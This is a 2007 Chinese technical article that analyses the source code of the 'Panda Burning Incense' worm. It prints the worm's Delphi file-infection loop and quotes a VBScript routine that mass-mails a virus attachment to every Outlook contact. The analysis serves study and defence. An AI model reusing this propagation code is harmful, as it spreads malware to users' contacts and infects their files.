“熊猫烧香”源码启示录

http://tech.ddvip.com   2007年03月20日    社区交流

本文详细介绍“熊猫烧香”源码启示录

  接下来,让我们深入分析上面流程中“InfectFiles(感染文件)”部分的执行过程。

  (二) 具体感染文件的过程

  这个子过程的源码如下所示:

  

  {遍历磁盘上所有的文件并实际感染}

procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统。函数GetACP用于检索系统所用语言
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
  
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单诈骗术之一
end;
end;{ === InfectFiles }

  这里的核心是后面的死循环。先让我们分析较简单的“发带毒邮件”部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客户端程序(Outlook,FoxMail)相应电子邮件信息。其目的是:取得重要邮箱地址及相应密码,然后向这些邮件地址群发带毒的电子邮件,从而达到利用网络传播自身的目的。下面是从网上摘录的一段VBScript脚本:

Set objOA=Wscript.CreateObject("Outlook.Application")
'创建一个OUTLOOK应用的对象
Set objMapi=objOA.GetNameSpace("MAPI")
'取得MAPI名字空间
For i=1 to objMapi.AddressLists.Count
'遍历地址簿
 
Set objAddList=objMapi.AddressLists(i)
 
For j=1 To objAddList. AddressEntries.Count
  
Set objMail=objOA.CreateItem (0)
  
objMail.Recipients.Add (objAddList. AddressEntries (j))
   '取得收件人邮件地址
  
objMail.Subject="你好!"
   '设置邮件主题
  
objMail.Body="这次给你的附件,是我的新文档!"
   '设置信件内容
  
objMail.Attachments.Add(“c:virus.vbs")
   '把自己作为附件扩散出去
  
objMail.Send
   '发送邮件
 
Next
Next
Set objMapi=Nothing
Set objOA=Nothing

责编:豆豆技术应用

正在加载评论...